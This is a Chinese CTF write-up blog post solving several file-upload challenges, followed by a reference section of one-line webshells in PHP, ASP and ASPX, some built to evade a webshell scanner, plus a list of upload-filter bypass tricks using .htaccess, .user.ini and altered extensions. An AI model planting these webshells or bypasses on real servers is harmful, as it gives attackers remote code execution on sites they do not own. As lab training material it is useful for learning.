CTF--文件上传

CTF

[极客大挑战 2019]Knife1

题解:

  1. 发现网页显示“我家菜刀丢了,你能帮我找一下么 eval($_POST["Syc"]);”
  2. 所以使用中国菜刀或蚁剑连接网站后台
  3. 在“/”目录下找到flag文件

[极客大挑战 2019]Upload1

题解:

​ 1.发现是上传jpg文件

​ 2.编写一句话木马

<?php @eval($_POST[value]);?>

保存为jpg文件上传,由于文件在前端验证,使用bp修改文件后缀为php,放包后发现php文件被过滤(绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht),发现phtml未被过滤,使用bp修改为phtml

​ 3.发现提示“<”被过滤修改一句话代码为

GIF89a? <script language="php">eval($_REQUEST[1])</script>

​ 4.发现文件上传成功,通过蚁剑连接文件(地址为文件url)

​ 5.连接成功后在“/‘文件目录下找到flag文件

[ACTF2020 新生赛]Upload1

1.编写一句话木马

<?php @eval($_POST[1]);?>

2.上传后发现提示只能上传jpg,png,gif后缀文件

3.将文件后缀改为png,通过bp将文件后缀改为php

4发现提示nonono,说明后端过滤php文件后缀

5.将文件后缀改为phtml,成功上传并显示文件路径

6.通过蚁剑连接,在“/”目录下找到flag文件

[MRCTF2020]你传你🐎呢1

  1. 进入发现上传文件,尝试一句话木马,上传发现php文件无法正常上传,尝试png文件,发现可以正常上传,并回显文件存储路径
  2. 使用蚁剑连接发现返回为空,进入网页查看发现传入文件被作为图片解析
  3. 则使用.htaccess绕过,编写.htaccess文件(该文件可使传入文件当作php文件解析)

    <FilesMatch "7.png">
    SetHandler application/x-httpd-php
    </FilesMatch>

    传入时需用bp抓包修改Content-Typc为image/png

  4. 然后传入含有一句话木马“7. png”,再使用蚁剑连接,显示连接成功,flag文件位于网站根目录下

[GXYCTF2019]BabyUpload

  1. 进入题目只有选择和上传,尝试使用上传php文件,发现提示“后缀名不能有ph!”,使用phtml等后缀以及双写和大写后缀绕过,发现都提示“后缀名不能有ph!”,则不能使用该类型绕过。
  2. 然后尝试使用.htaccess绕过,编写文件

    <FilesMatch "2.png">
    SetHandler application/x-httpd-php
    </FilesMatch>

    再通过bp更改Content-Typc为image/png

    然后编写2.png

    <?php @eval($_POST[2]);?>

    上传后发现无法使用蚁剑链接

  3. 发现题目界面给出网页源代码,经过审计发现,只有文件为jpg类型才可上传。
  4. 编写.htaccess文件

    <FilesMatch "5.jpg">
    SetHandler application/x-httpd-php
    </FilesMatch>

    通过bp更改Content-Typc为image/jpeg,发现成功上传并回显文件路径。编写5.jpg文件

    <?php @eval($_POST[5]);?>

    上传之后发现页面回显"诶,别蒙我啊,这标志明显还是php啊",再次查看代码,发现“<"进入判断,所以更改一句话木马

    GIF89a? <script language="php">eval($_REQUEST[5])</script>

    发现上传成功回显文件地址。

  5. 蚁剑连接成功,在网站根目录下找到flag

[SUCTF 2019]CheckIn

  1. 尝试普通上传方法,均弹出提示“illegal suffix!”,则文件后缀均被注释。
  2. 使用.staccess绕过方法,上传.staccess文件提示“exif_imagetype:not image!”
  3. 查看源码,发现函数exif_imagetype()【验证图片文件属性函数,检查文件头】
  4. 尝试.user.ini文件绕过。编写.user.ini文件

    GIF89a        //使用gif头,使文件绕过文件头检查
    auto_prepend_file=3.gif

    然后编写3.gif文件

    GIF89a? <script language="php">eval($_POST['h'])</script>
    //参数为“h”便于后面查询flag

    传入后回显文件地址,并在文件目录下生成了index.php文件

  5. 访问文件地址处的index.php(url访问),回显“GIF89a?”,通过post传参传入命令

    h = system("ls");

    发现目录下只有3.git和index.php

    h = system("ls /");

    发现有flag文件

    h = system("cat /flag");

    即可回显flag

    5.2 扫描根目录:

    scandir:按顺序读取指定目录下的所有文件及其路径

    messi=var_dump(scandir("/"));

    打印出flag所在文件中的内容

    messi=var_dump(file_get_contents("/flag"));

    知识点

一句话木马

asp一句话木马:

<%execute(request("value"))%>

php一句话木马:

<?php @eval($_POST[value]);?>

aspx一句话木马:

<%@ Page Language="Jscript"%>
<%eval(Request.Item["value"])%>

其他一句话木马:

<%eval request("value")%>
<%execute request("value")%>
<%execute(request("value"))%>
<%If Request("value")<>"" Then Execute(Request("value"))%>
<%if request ("value")<>""then session("value")=request("value"):end if:if session("value")<>"" then execute session("value")%>
<SCRIPT language=VBScript runat="server">execute request("value")</SCRIPT>
<%@ Page Language="Jscript"%>
<%eval(Request.Item["value"],"unsafe");%>

可以躲过雷客图的一句话木马:

<%
set ms = server.CreateObject("MSScriptControl.ScriptControl.1")
ms.Language="VBScript"
ms.AddObject "Response", Response
ms.AddObject "request", request
ms.ExecuteStatement("ev"&"al(request(""value""))")
%>

不用’<,>'的asp一句话木马:

不用双引号的一句话木马:

<%eval request(chr(35))%>

UTF-7编码加密:

<%@ codepage=65000%><% response.Charset=”936″%>
<%e+j-x+j-e+j-c+j-u+j-t+j-e+j-(+j-r+j-e+j-q+j-u+j-e+j-s+j-t+j-(+j-+ACI-#+ACI)+j-)+j-%>

文件上传步骤

1、前端绕过,抓包修改后缀名,

2、文件内容绕过,用图片马,抓包修改后缀绕过

3、黑名单绕过,那么我们可以改成phtml抓包绕过

4、.htaccess绕过,只要有这个配置文件,并且内容为“AddType application/x-httpd-php .jpg(就是把所以jpg后缀的文件全都当作php文件来执行)”

5、大小写绕过,抓包后修改后缀为.PHp

7、空格绕过,抓包修改后缀,在后缀后面加上空格

8、点绕过,抓包修改后缀,在后缀后面加上点(删掉空格还可以. .或者 . )

9、文件流绕过,前提条件,必须是window的服务器,抓包修改后缀,并在后缀后面加上::$DATA,

10、双拼绕过,抓包修改后缀,并在把后缀改成pphphp,这样后端去掉php,还剩下个p和hp组合在一起,又是php

11、.user.ini配置文件绕过

.htaccess绕过

htaccess文件可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能!

如果黑名单过滤了所有的能执行的后缀名,如果允许上传.htaccess。在htaccess文件中写入

SetHandler application/x-httpd-php

则可以将文件重写成php文件。PHPstudy中要使htaccess文件的规则生效,则需要在apache开启rewite重写模块,apache大多数都默认开启该模块,所以一般情况下都生效

.htaccess文件

<FilesMatch "png">
SetHandler application/x-httpd-php
</FilesMatch>

新评论

称呼不能为空
邮箱格式不合法
网站格式不合法
内容不能为空